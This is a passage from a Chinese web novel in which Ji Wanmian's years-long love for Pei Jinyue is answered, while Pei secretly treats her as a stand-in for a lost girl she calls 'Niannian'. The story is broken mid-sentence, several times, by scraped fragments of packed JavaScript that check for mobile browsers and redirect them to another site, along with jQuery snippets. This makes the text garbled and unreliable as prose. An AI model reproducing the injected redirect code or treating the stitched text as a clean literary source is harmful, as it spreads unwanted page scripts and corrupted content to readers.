l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912647|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴今月皱了皱眉头，坐直身子，望向另一侧，似是不愿回答。 “为什么就不能告诉我呢？”季晚眠见面前人的模样，心里委屈极了，抓着裴今月的手腕说：“裴今月，你一直都这样，什么都不跟我说。” 裴今月还是没有答复。 季晚眠还是将心里话全都吐了出来，“所以，裴今月，我究竟是你的什么人？我只是你用来消遣的工具吗？” “那天我拦住你说了‘喜欢’后，你就知道我对你的感情了。” “我怕你不理解我，所以一直没正式给你告白，但我的心意还不明显吗？我每天一有空就去找你，愿意跟在你的身后，做你的小跟班。” 季晚眠情绪激动，委屈达到顶峰，她连鞋都没穿，而是跑到自己放钱与手链的地方，拉开柜子，将东西全都拿了出来，放在沙发前的桌上，“我压根不是为了钱！我只是为了你！只是因为我喜欢你！” 裴今月听到最后两个字后，目光从钱往上移，落在季晚眠身上。 “你明明什么都知道！不然怎么会和我……”季晚眠本能地将手放在自己的嘴边，又赶忙放了下去，“所以，裴今月，虽然我刚刚问了这么多，但你今天只需要回答我一个问题，你究竟喜不喜欢我？” 裴今月向后一倒，自然而然地靠在沙发的靠背上，没有迅速给出答复。 季晚眠心比窗外天气还冷，但她还是强装镇定地开口，将这些不愿说出的话说清楚：“如果你不喜欢我的话，也没关系，我就直接回老家了，我在这生活这么久也没混出什么名堂，刚好这间屋子一年合约也快到期了，我……” 说到后面，季晚眠已经不知道自己在说什么了，但她嘴一直没停，大抵是想用说话声来掩盖自己心里强烈的失落感。 但裴今月没让她说完，主动开口打岔她的话。 “季晚眠，我们在一起吧。” 大小姐的语气仍然那么云淡风轻，淡得就像毫无波澜的一滩水，她望向季晚眠时，神情与往常一样，完全看不出半点区别。 但就这么简简单单的一句话，已经让季晚眠目瞪口呆，自己的嘴巴张开也蹦不出来一个字。 就算刚刚听得一清二楚，但她仍然不敢相信自己的耳朵，甚至宁愿相信自己所听到的话语是幻觉。 也许是看到季晚眠诧异的神情，裴今月又耐着性子，重复了一遍：“季晚眠，我们现在是恋人关系了。” “砰——”的一声。 季晚眠心里炸开了花。 …… 就在不远处的另一边，也能听到“砰”的一声。 是陆渔搬货时摔倒的声音。 手上的货没问题，护得好好的。 但人摔得不轻，况且她嫌耽误事，便脱下了羽绒服外套，现在身上穿得单薄，没了外套保护一点，摔下去就更疼了些。 陆渔挣扎着想从地上爬起来，却因为扯着伤口，不但费力，还生疼。 她暂且将货物放在一旁，想要用没受伤的手撑着让自己起身。 突然，有人朝她伸出了一只手。 陆渔抬起头，视线上移，望向面前人。 旋即，她轻轻地笑了一声。 你还是来了。 裴思澈。 8. 第 8 章 “我们在、在一起？”季晚眠已经激动得快要连一句完整的话都快说不出了，声音控制不住地发颤，“我和你？” 裴今月微微点头。 季晚眠不动声色地掐了掐自己的掌心，感受到疼痛后，她才确定自己不是在做梦。 “恋人……”她垂下头轻声呢喃，虽然这个词在她心里曾幻想了千万遍，但真正听到裴今月朝自己说出时，还是难以掩盖心里的雀跃。 盼了一年又一年，几千天、几万个小时，每一分每一秒都爱着的人，每个深夜都渴望能将其抱在怀里的人、每个梦境都想要拥有的人，现在就在面前，说出了那句确认关系的话。 所有的委屈不安难受失落一扫而空，此时此刻的季晚眠满脑子只剩下“恋人”二字。 她想和裴今月在一起。 很想、很想。 “你是专门来跟我说这个事情的吗？”季晚眠稍微冷静了些，尽可能不让自己表现得那么高兴，但还是在发抖的声音出卖了她。 “可以算是。”裴今月目光又落在桌子上的钱与手链上，将手肘搭在自己的腿上，仰头问：“那你还想回家吗？” “我……”季晚眠一个转身，华丽丽坐在了沙发上，假装不情不愿地开口，“哎呀，我怎么突然没那么想回了？” 裴今月满意地扬起眉，说：“那我们继续？” 季晚眠耳根发烫，满脸通红，光是闷声回了个“嗯”，就已经耗尽她所有力气。 裴今月再次向季晚眠靠近，按住其手掌后，直勾勾地盯着面前人，气氛氤氲到了极致，又是一场酣畅淋漓。 窗外寒风凛冽，窗内热得出汗。 不知过去了多久，汗都快浸透衣衫了，季晚眠已然两眼放空良久，是卫生间传来的裴今月洗澡声才将她拉回现实。 她扶着腰，费力地直起身，虽然裴大小姐答应与她在一起了，本是该高兴的，但今天的裴今月下手没个轻重，连亲吻时，她都感觉自己的嘴唇要被咬破了。 难道裴今月还是心情不好？ 但是，为什么不告诉她呢？ 闪出这个念头时，季晚眠还是生出了些失落，垂眸思索了一会后，她又赶忙摇了摇头，企图将这点情绪甩出去。 没事的，裴今月都答应和她在一起了。 肯定是时候未到，之后肯定会与她说清楚的。 安慰好自己后，裴今月已经打开门走了出来。 季晚眠寻声望去，只看见一个湿漉漉的、发梢还滴着水、脸颊泛红的裴今月。 对视的那一秒，她心脏都快停止了跳动。 她刻意地避开目光，让自己不要去看面前的人，怕自己满心的喜欢都要从眼里跃出来了。 裴今月擦了擦头发，问：“季晚眠，你很喜欢我吗？” 季晚眠脱口而出：“我真的真的很喜欢你。” 坚定又直白。 既然裴今月已经答应了她，那么她就不用再掩藏自己的情绪。 她恨不得就现在将之前写过的上千封情书拿给裴今月看。 让裴今月看她一字一句的爱意，看她爱而不得那些年的痛苦，看她偷偷思念时的煎熬，看她没有资格吃醋的难堪，看她不敢打电话发消息的无奈，看她一次又一次的失落，看她碎掉的心如何变成狰狞的文字。 或者，也可以给裴今月看她的画。 看她每一张画，都在精心描绘着心上人的容貌，擦了改，改了擦，只为将心上人描绘得更好、更完美、更像裴今月。 在完成工作后睡不着的深夜，她会再次拿起画笔，想象裴今月朝她笑着的样子后画下来，这样，这个孤单的黑夜才能得到一些安心。 再等等吧。 等到裴今月心情好一点。 等到裴大小姐决定将心完全交给她时，她再将这些狼狈的暗恋全都说出来。 听到季晚眠的回复后，裴今月没多说什么，只是点了点头，就去吹干头发，换上自己的衣服，说了一句“还有点事，先回去了”后，就朝门走去了。 季晚眠慌慌张张从沙发上跳起，拦住了裴今月，这次她有了身份，连说话都更有了些底气：“现在都这么晚了，你一个人回去安全吗？” 裴今月依然在朝外走，回答：“不用担心我。” 季晚眠想要跟上去：“我送送你吧。” 裴今月拒绝：“不用了，你一会还要一个人回来。” 季晚眠抿唇，一想到裴今月说的这句话可能是在担心她一个人回家的安危，便有些克制不住自己的笑意，她知道裴今月已然作出决定，便没有继续争这个话题。 眼见裴今月都快到了门口，季晚眠脑子转了一圈，可算赶在裴今月走之前，说出一直想说的话：“我以后可以给你打电话吗？就是……想你的时候。” 裴今月想了一下，又摇了摇头，转身去拉开了门。 见状，季晚眠失望地“啊”了一声，垂下头，轻声嘀咕：“为什么……” 倏地，在门关上之前，她听见裴今月对她说—— “如果我想你的话，会主动给你打电话的。” 门关上了。 裴今月离开这间屋子了。 但季晚眠高兴地快要跳起来了，她捂着嘴，一直在心里回味裴今月说的那句话。 “我想你”这个关键词在她脑子里回荡着，已经不管别的字眼了，光是这三个字就能够让她满足了。 季晚眠立在原地，转了个圈，又甩着手走进卫生间，连洗澡都在不停哼歌，照镜子的时候才发现嘴角的笑意压都压不住。 哎呀，别笑啦。 也没什么好高兴的，不就是多年暗恋成真、自己的心上人答应跟自己在一起了而已嘛。 真的不用高兴了哈哈…… 季晚眠就差笑出声了。 洗完澡后，她在屋子里走过来走过去，只觉得看见什么都比原先更好看了些。 她仰头，看看这天花板，真白。 低头，看看这地板，真干净。 扫了一圈家具，摆放得真好。 跑到阳台吹了会寒风，空气真新鲜。 看了一眼乱糟糟的沙发，这才是凌乱美。 她几乎是蹦蹦哒哒地跳到了书桌前，果然心情好的时候，连工作都变得轻松了不少。 拿起笔，开画！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912648|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以前怎么没觉得画分镜草稿的时候也能这么轻松呀，虽然还是一如既往地费手费脑费腰，但只要一想到自己只要足够努力，挣得钱够多，能一直留在这座城市里，就能永远见到裴今月了。 工作了一会，她才意识到自己好像没吃成饭。 一开始是因为偶遇陆渔，自己没吃成手抓饼，后来又因为裴今月突然到来，光是那些乱七八糟的情绪就够她消化一会了，再加之她们俩又一起做了那些脸红心跳的事情，哪有时间饿啊。 现在用工作冷静了一下后，季晚眠才真正感受到强烈的饥饿感。 不行，再不吃点就要饿晕了。 饿晕就见不到裴今月了。 季晚眠撑着桌子，费力地站起，捂着肚子，到处翻找自己家里有没有什么能吃的。 找了一圈零食，连个影儿都没有。 季晚眠再次打开冰箱门。 嗯，果然还是空得和新买来的冰箱一样。 她回头，看向酱油与醋。 饿得头昏眼花的季晚眠像个野人盯着两瓶调料，心里想：如果喝了这些能不那么饿吗？ 肯定不行啊！ 季晚眠赶紧让自己从厨房走了出去，想着实在不行还是出门买点吃的吧，结果一看手机，都凌晨一两点了。 大半夜的，她一个人也不敢出门啊。 点外卖？算了…… 拿外卖也挺害怕的…… 季晚眠在想，是因为自己胆子小吗？但好像身为女生，她就该害怕夜晚，害怕到不出门、不点外卖，免得因为自己的“过错”引来危险。 也不知道裴今月安全到家了没…… 季晚眠饿得瘫在沙发上，拿着手机不断刷新消息。 就在她担心得想要主动发条消息过去前，手机“叮咚”一声，是裴今月发来到家的提示音。 太好了！ 季晚眠放松得笑了，想要回一条过去，但删删改改半天，也不知道怎么样回复更好。 纠结了大半天，季晚眠将写得一大段的“安全到家了就好，这样我就放心了，下次我还是送一送你吧，看你坐上车就好了，主要是冬天的夜晚又黑又冷，两个人可能会好一点”全都删了，最后只留下一句“到家就好”。 不是为了装高冷，而是担心自己发一长段过去，裴今月看起来也费劲，简明一点，表达清楚就好了。 大抵是收到了裴今月的消息，季晚眠感觉自己也没那么饿了。 果然是情能饮水饱。 她伸了个懒腰，想直接刷个牙就去睡觉了，结果可能是脑子不太清醒，猛地一下膝盖就撞到了沙发旁边的茶几上。 嘶。 生疼。 季晚眠龇牙咧嘴地俯下身，用手揉着自己的膝盖。 倏地，她的余光里看见茶几的柜子被自己撞开了。 季晚眠一直都记得，这就是装着的就是她多年来对裴今月的所有暗恋。 她已经对之前自己写的内容模糊不清了，既然刚好撞上，那就拆开第一封情书再看看吧。 刚一翻开，稚嫩又纯真的回忆像视频一样，一幕幕闪在她的眼前。 9. 第 9 章 一晃眼，距离季晚眠第一次碰见裴今月都过去五年了呀。 十九岁那年秋天初遇的心动，延续到二十四岁的冬天，漫长而深刻。 她曾无数次在情书写下一样的话语—— 「会因为我是女生，所以注定不能与裴今月在一起吗？」 是疑问句。 是一直刻在她心头的问号。 要是她未有性别困扰，或许在那一年喊住裴今月时，就已经大大方方诉说自己的爱意了。 正是因为与常人不大相同的爱，导致她的感情显得格外小心翼翼，比起裴今月别的追求者，她是最特殊的一个。 她可以站在裴今月的旁边，可以直接触碰到裴今月，就连牵起对方的手，也不会有很大的异常。 毕竟是朋友嘛。 但季晚眠逐渐生出不甘心的情绪。 思念蔓延的深夜，她常常在想，她要的远远不止这些，她想要占有裴今月。 不是以朋友的身份。 是爱人。 所以，在认清自己的感情的那天，她又写了另一封情书。 很长、很长，长得就像她数不到尽头的爱。 季晚眠看完了整封信，再次被里面的话给触动—— 「我恨你，恨你实在太美好，让我难以再难爱上别人，我的心被你填满，装不下旁人。 我真的恨你，我遇见的人里面，我只恨你。每分每秒都恨你，恨你干扰我的生活。 要是没有遇见你的话，我想我的每一天都会过得很快乐，不用去思念你，不用为了你吃一些莫名其妙的醋，不用浪费时间在这里写矫情的文字。 你就不该出现在我的生命里，因为我抓不住你。 我恨你，我也恨我。 恨我太爱你。」 季晚眠赶忙将信纸收了起来，生怕自己再多看一眼就控制不住自己的眼泪。 大抵是收得太着急，有一封从手上掉了下去。 她捡了起来，感受到纸张被揉得皱巴巴后，她就想起里面的内容了。 都不需要拆开，里面的文字就已经跳到她眼前了—— 「年年是谁？ 你能不能告诉我，年年是谁？ 你的社交账号上用了很久的昵称，到底是谁？ 我幻想过，可能是你养的宠物，但不是的，不是这样的，不然我怎么一问，你就闭口不谈？ 况且，为什么我们一做亲热的事情，你就会下意识地唤出这个名字？ 为什么！！ 是因为我像她吗？！ 你能不能告诉我！ 如果真的是这样，你的心也太狠了！！ 不，不会的，你不会这样的……」 季晚眠指尖颤抖，几乎是将这封信丢进柜子里的。 她立刻站起身，不再留在这里，走到了卫生间匆匆刷完牙就躺在了床上。 她裹紧被子，拼命想让自己快些睡着，这样就可以不再去想裴今月口里的“年年”了…… 只要自己不去想那些伤心事，她就可以一直沉浸在成为裴今月女朋友的美好幻想里。 哪怕这只是幻想。 深夜总让人多思。 此时此刻，不止季晚眠一人想起了“年年”。 裴家。 刚给季晚眠发完消息，裴今月就给祁绾绾打了一通电话：“找到人了吗？” 祁绾绾在电话那头回答：“裴姐，我们在你说的地方问了一圈，还是没找到符合你要求的那个女孩。” 裴今月皱眉，明显不满意这个回复，说：“继续找，换个地方，但一定是在苏城。” 祁绾绾赶忙答应下来：“好好好。” “要是找到了也不准跟踪她，千万不能吓到她，要是不小心吓到了她，你们一个都没好果子吃。”裴今月语气严肃，像是在命令。 祁绾绾被吓得咽了咽口水，她是见过裴今月发脾气时有多吓人，扬声回答：“保证不吓到！” 裴今月又接着说：“我让你们找她，只是想确认她现在过得怎么样，我之后会亲自去见她的。” 祁绾绾想了半天，不知道说什么，又不敢不回裴今月的话，随口说了句：“我保证让她好好得等裴姐来找！” “祁、绾、绾。”裴今月咬牙切齿说，“千万不能让她发现你们的存在，这句话说了那么多遍听不懂吗？” “是是是。”祁绾绾已经感受到裴今月的怒气了，完全不敢再乱回复了。 “行了，去睡吧。”裴今月语气稍微亲和了些，“明天接着找。” 她挂断电话，刚想把手机丢在一旁，结果又来了一通电话，她匆匆看了眼，一个在她心里极其厌恶的名字映入眼帘。 「裴思澈」 她理应唤裴思澈一声“姐姐”的，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912649|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不想。 因为她憎恨裴思澈，恨到了骨子里。 她天生不像常人一样情感充盈，无论是现实生活亲身经历一些事情，还是看电影里的画面，她都难以共情旁人的情绪。 别人哭别人笑，她的心依然毫无波澜，甚至还产生了不理解。 但就是她这样的人，却产生了两种极端的情绪。 一是憎恨自己同母异父的“姐姐”，憎恨裴思澈随了她的父亲，一样的卑劣、伪善、不择手段、烂进骨子里。 二是深爱一个曾在她生命里短暂出现过的“年年”，虽然连全名都喊不出来，但她就是爱。就算对方也是女性，她依然爱，一年更胜一年的爱，爱得刻骨铭心。 唯有想起这两人，才会让她感受到情绪涌上心头的滋味。 只要提起裴思澈，她定然会暴躁愤怒，而提起年年，她也会感受到强烈的悲伤感。 让她想想该如何形容这种悲伤。 大概可以认为是季晚眠伤心流泪时的样子吧。 裴今月回想季晚眠哭泣的神情，自己也跟着嘴角向下，眼睛眯了起来，无论怎么尝试，她却怎么都流不下眼泪。 怎么样才能哭泣？ 她想学会流眼泪，因为这样就可以在找到年年后，用眼泪来告诉年年自己有多么想她。 这样来诉说爱意的话，年年应该不会觉得她是坏人，并且更加相信她的爱吧。 裴今月还是放弃了尝试。 没事的，只要季晚眠还在她的身边，她就可以学。 一开始她也害怕季晚眠动了真感情，但听到这人亲口承认爱意后，她转念一想，为何不好好利用一下这份真情呢？ 在季晚眠流着泪说出那些苦涩的话时，她心里想的是——只要天天与季晚眠相处，自己说不定也可以学会正常人那样爱人的方式。 那么，她不能放走这个人。 因为认识新的人实在太累，自己面前就有一个，为何不好好抓住机会？ 万一以后真的再次遇见年年了呢？ 这样，她就可以用自己以前学会的方式去爱年年，不用担心自己极端的爱让年年害怕。 极端？ 让她想想，什么时候开始用这个词来形容自己的爱呢？ 裴今月也是在重温自己的日记本后，才意识到—— 原来她对年年已经思念得快要疯狂了。 10. 第 10 章 裴今月回到了书桌前，拿出钥匙，转了一圈，开了抽屉门。 是一个精致的小本子。 就算用了多年，还经历了搬家，依然保存完好。 她连一粒灰都不会让其掉在本子上。 与其称之为“日记本”，不如说成“写给年年的一封封信”。 里面每个字全都是她对年年的爱。 她每天都没有什么大起大伏的心情，所以写日记本也会干干的，像是在套公式地陈述一天的事情，毫无乐趣。 但自从遇见年年后，她想写下与其初遇那天不同的感受，也就是那时，她开始慢慢察觉到自己也能产生情绪，虽然很小，但她已经觉得弥足珍贵。 但是后来，她的情绪被放大了。 准确来说，是与年年有关的全都被放大了。 还记得最初相遇—— 十三年前，苏城的冬天，下了一场难得一见的雪。 「今天很冷，姐姐让我放学后在旁边的公园等她，所以我没有上司机叔叔的车，跑去了公园等姐姐，但是姐姐一直没来，却有坏人盯上了我，他们说我有钱，想要抢我的东西，我没有很害怕，因为我书包里全是作业，但我手上有一条姐姐给的手链，坏人要抢，我不肯给，就使劲跑，跑到角落里藏了起来。 那时，你就出现了，你大概也是刚放学，从这里路过，将我挡在身后，这才让坏人没有看见我。 我都不知道你的名字，只听到远远地有人唤了你一声“年年”，你就走开了。 我想追上你，却发现再也见不到你了。」 看完这一页的裴今月微微勾了勾唇，摩挲着上面幼稚的文字，但触碰到“姐姐”二字时，她还是生出了厌恶。 要不是这篇日记是初次见到年年，不然她肯定会撕成渣，连一点碎屑都不想再见到。 也就因为那时年纪还小，被裴思澈骗得团团转，还追着其喊“姐姐”。 算了，今天打开日记本是用来回忆“年年”的，别让旁的人影响她。 裴今月继续翻着日记本。 如果没有特别重要的事情影响，她几乎每一天都会写。 但她有时候也会为自己长大而感到痛苦，因为看着年岁不断增加，却还是没能再次见到年年一面。 于是，裴今月的日记本里，每一天都会写下—— 「我已经xx天没有见到年年了」 入魔般的思念控制着她，日期越往后，写下的文字越是透着心痛。 「年年，是因为我搬家了吗？所以你不肯让我找到你吗？」 「年年，我好想你，真的好想好想，原来思念这么折磨人。」 得不到的心里人像是幻觉一次次出现在她的面前，可在裴今月醒来时，却一眼都看不见。 她活得很痛苦，每夜的思念都无处宣泄。 但是后来，她遇见了一个女孩。 季晚眠。 在初次见到季晚眠那天，她在日记本写下—— 「年年，我今天遇见了一个很像你的人，恍惚间，我以为我找到了你。 所以，我情不自禁地走了过去，帮她说了两句话。」 后来，裴今月发现季晚眠以这个事情一直在感激她。 她没有抗拒，因为只要看见这人的面容，总会让她觉得年年出现在她面前了。 但后来她又觉得愧疚，怎么能随意将别人认为是她心心念念的美好年年。 况且，季晚眠与年年， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912650|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是完全相似。 本以为这件事已经没有后续了，但是裴今月发现，季晚眠好像爱上她了。 其实她那天听清了季晚眠的告白，她在拒绝前犹豫了一下。 不是因为心里有季晚眠，而是在那一秒她想起了年年。 她怕再也找不到一个这么像年年的人了。 裴今月翻了翻日记本，确实有几页提到过季晚眠的名字。 「其实我初次见面那天，我并没有看清你具体的容貌，你只留给我一个背影，我站起身想看看你，唯一看清的也只有你被人唤了一声后，朝我露出的侧脸。 我清晰的记得，你的右眼下有一个很漂亮的痣。 但季晚眠没有。」 「年年，我好想你，会不会就是你让季晚眠出现在我身边，来化解我的思念？」 「年年，我真的好想你，想得我心都跟着痛，要是我那天喊住你就好了，要是我后来没搬家就好了。」 翻到下一页寻找季晚眠名字时，裴今月垂下眸。 「年年，我好见到你，想抱住你，想亲吻你，想你在耳边呢喃我的名字，轻轻唤我“月月”。 但我不知道该怎么做才好，我怕我要是遇见你后，自己做得不够好。 所以那天，我无意间想起了季晚眠，她很像你，刚好她又跟我在这座城市，鬼使神差地，我找到了她。 对不起，年年，我知道自己可能做得不对，但我想尝试一下亲吻拥抱甚至是占有，这样我就知道什么样能让你满意。 你可能会怪我，但没事的，我爱你。 年年，我好爱你。」 裴今月看到这，指尖颤抖了一下，闭上眼，一遍又一遍地在心里求着年年的原谅。 11. 第 11 章 裴今月知道自己与别人做的事情，对不起自己心尖上的年年。 但她有些承受不住心里的思念，它们就像海浪，扑上来时没有任何声响，却能不费吹灰之力地将她淹没，她喘不上气，又跑不掉，只能慢慢往下沉。 所以，她一次次敲响了季晚眠的门。 但等到她得到满足后，她也会立刻离开季晚眠的住处，因为感觉自己多留一秒，都会为刚刚的冲动而感到后悔。 裴今月已经很刻意地避开提到过季晚眠的那一页日记了，可越往后翻，几乎每一页都提到了这个人的名字。 「年年，我今天看见季晚眠肚子疼的样子，那一刻，我在想，你也会肚子疼吗？」 「年年，我只是随手送了一个用了很久，已经不喜欢的手链给了季晚眠，她就从不开心变得很高兴了，那我后来送你很珍贵的礼物，你会不会也像她那样高兴？这样，你会不会原谅我这么多年都没找到你了？」 上面的就是最近才写的，裴今月拿起笔，翻到空白的那一面。 该写写这两天的事情了。 她选了昨天的日期。 「十二月六日，雨天。 年年，今天我答应与季晚眠在一起了，你放心，我只是为了成为一个更加正常、更加充满感情、更加适合你的恋人。 等我们在一起后，我会向你袒露所有事情，包括写满的日记本，我也会交给你。 我的真心，显而易见。 我会尽量避免让陌生人或不熟的人来打我的电话，我只会接我的家人（除裴思澈外）的电话，还有就是来苏城找你的祁绾绾打来的电话。 我真的好想快点见到你。 但又怕见到你后，我还不够好。 所以，我决定先以恋人身份，与季晚眠相处一段时间。 这次并不是冲动决定。 因为我偶然听到我的母亲提起“联姻”一事，我清楚地知道——她格外疼爱事业成功、对公司有很大帮助的裴思澈，所以她定然不会选裴思澈。 然而，作为她另一个女儿，我的结局大概已经注定。 但是，我不会答应。 我会领着季晚眠来见她，然后告诉她，我爱的人是女人。 很抱歉，没有第一次见面就让你来。 但你不来也好，怎么能让你面对这些。 你应该能明白，我之所以这样，都是为与你相爱做准备。 年年，我猜你与我同龄。 所以，你应该还没有找到另一半吧？ 千万不要。 但是如果你真的遇到了，也没关系。 我尊重你，我愿意等。 但不会很久。 不是说我要放弃你了。 而是我觉得这世间，没有任何一个人比我更爱你。 年年，我好爱你。」 她一遍遍地写着爱。 却不会在日记本里写下她自己正在经历的苦痛。 轻描淡写提到的“联姻”二字，都在这几天困扰了她良久。 尽管她没有正常人一样复杂的情绪，但她能感受到，自己的心也会因为一些事而不舒服。 一秒不说清楚，她都会担心自己这个“不争气”的女儿，真的被作为棋子，被随意地丢给了别人。 就明天吧。 明天说清楚。 裴今月合上日记本，趴在桌子上面，将脸埋在胳膊里。 她阖眼，安静地睡着了。 只有在深夜的梦里，她才能短暂地见到年年。 …… 季晚眠第二天起了个大早，两三点睡，居然八点就醒了。 可能是一想到自己居然和裴今月在一起了，就激动到有些睡不着觉。 那些关于深夜里伤感的事情再次被她抛之脑后，崭新的一天，肯定要高高兴兴地去面对。 由于不知道裴今月会不会突然给她打个电话说要来找她，所以季晚眠与手机寸步不离，音量开到最大。 她本来只想随便刷个牙洗个脸就行，但一照镜子，心里闪过一个念头——万一裴今月直接出现在她家门口了怎么办！ 不行不行，季晚眠可不能让裴大小姐见到这么邋里邋遢的她。 于是，她吃完早饭后，在家里翻箱倒柜，可算找出了大学时期用的化妆品，自从开始画漫画后，她大多时候都是在家办公，几乎不怎么出门，所以别说化妆了，感觉自己能活得干干净净就已经很不错了。 季晚眠坐在化妆镜前，看着大瓶小瓶的化妆品，一时间不知道自己先做什么。 大学时候，为了“勾引”裴今月，她可是就连早八都是化了妆的呀，雷打不动的早起，怕吵到室友就跑到阳台去化妆。一般室友刚醒，她已经化完全妆了。 结果现在，再次拿起化妆品，就算已经忘了化妆步骤，但那又怎么样呢……她都已经和裴今月在一起啦。 镜子里，季晚眠嘴角都快扬到天上去了。 她随意在网上找了一条美妆视频，从头开始学化妆。 先护肤。 什么精华面霜全都放脸上。 毕竟冬天就是容易皮肤干燥。 她一边抹匀，一边在心里想这样裴今月就可以摸到她嫩嫩的小脸蛋了。 上防晒霜。 千万别卡粉啊，要是裴今月凑近想亲她，结果看到一脸卡粉，还怎么下得去嘴呀。 上遮瑕。 黑眼圈消失喽，一定要让裴今月看到容光焕发的她。 上粉底。 她的肤色不算黄，但上了粉底后还是白了一圈，跟裴今月一样白喽。 上完粉底，确认没有卡粉后，季晚眠用定妆喷雾往脸上一喷，再一看镜子，真觉得是自己天生的肤色了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912651|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接下来，就是最难的眼妆了，但是没事，她连自己笔下的人物都能画得栩栩如生又漂漂亮亮，怎么可能化不好自己的一双眼睛？ 结果还真化不好。 就算她认认真真按照手机的步骤慢慢化，最后也像是化了一条扭曲的虫在眼睛上。 季晚眠默默关掉了手机，开始尝试用自己大学时的方式来化。 然而，她发现之前天天化妆的手感早就消失不见了。 为什么这眼线笔自己会发抖啊！ 季晚眠坐在镜子前面，擦了又接着化，化了不满意又一直擦。 不知过去了多久，眼线没化好，整个妆容都快花了。 哈哈，白费时间。 季晚眠照着镜子，沉默了一会后，笑出了声。 实在是气笑了。 算了，还是别折磨自己了。 裴今月又不一定来找她。 季晚眠拿出卸妆油，往脸上一撒，直接跑去卫生间卸妆去了。 刚打开水龙头想要洗脸，突然听到客厅里的手机传来巨大的来电音。 季晚眠本来想卸完妆再去接，可又生怕是裴今月打来的电话，于是赶忙关了水龙头就跑过去了。 哪怕脸上的卸妆油都没洗掉。 她被卸妆油弄得有些睁不开眼，慌慌张张拿起手机，看都没看直接点击了接通。 “喂？季小姐吗？请问你们家孩子要上课外辅导班吗？我们这……” 季晚眠一秒挂断。 有时候真对这些莫名其妙的电话感到无语。 她自己都还是一个二十四岁的小朋友，上哪来的孩子？！ 况且，她还是个同性恋！ 目前也没有想要孩子的念头！ 季晚眠放下手机，转身就往卫生间走，想把脸上黏糊糊的卸妆油弄掉。 结果电话声又响起了。 季晚眠保持耐心，万一这次是裴今月了呢，于是，她又点击了接听。 “季女士你好，我们这有一套三室两厅的房子出售，你有时间看一下吗？很适合带孩子的家庭……” 季晚眠忍无可忍，刚想说两句拒绝的话，结果被口水呛到，一个字都说不出来。 最后只能边咳边关掉通话。 不行，她必须要快点去弄掉脸上的卸妆油了，因为在她低头放手机时，有一滴不小心掉进她眼睛里了，火辣辣的。 结果，刚走到卫生间门前，电话铃声又响起了。 这次就算是谁打来她都不接了。 而且好好想一下，裴今月压根不会这么早给她打电话，一般都是傍晚或者深夜里。 所以她任由客厅的电话铃声响，自己没有走去接通。 清清爽爽洗完脸出来，铃声已经停了。 季晚眠打开手机，一看未接来电，上面大写着—— 「今月」 12. 第 12 章 季晚眠僵硬在原地，指尖的水都没擦干净，就这么木然地盯着手机上的文字，沉默了好久。 这是什么命啊—— 回过神后，季晚眠猛地拍了下自己的额头，后悔刚刚不来接电话了。 她咬着下唇，纠结要不要打回去。 可是裴今月不让她主动打过去呀。 就在她犹豫时，手机又响起了来电铃声，季晚眠被吓了一跳，差点将手机摔了下去，匆忙之余看了眼上面的来电显示。 是裴今月打来的。 季晚眠手忙脚乱地点了接听，生怕迟了一秒，又错过了裴今月的来电。 幸好接到了。 裴今月的声音从电话那边传来：“季晚眠。” 季晚眠压住心里的狂跳，回答：“怎么了？” 裴今月简明扼要地说：“我给你发一个地址，我是我家，你到这里来，我会在楼下接你。” 季晚眠闻言愣了愣，稍微冷静了些，小心翼翼问：“这是要做什么呀？” “见一下我……”裴今月顿了一下才往后说，“我妈。” 季晚眠瞪大双眼，震惊得快要说不出话了，脑子里闪过无数条疑问—— 这么早就要见家长了吗！会不会有点快了！她们不是昨天才确认关系吗！ 还是说……裴今月其实也早就喜欢她？ 想到这，季晚眠嘴角往上扬了扬，立刻答应了下来：“好，我会尽快赶到的。” “行。”裴今月在结束通话之前，又补充了句：“注意安全。” 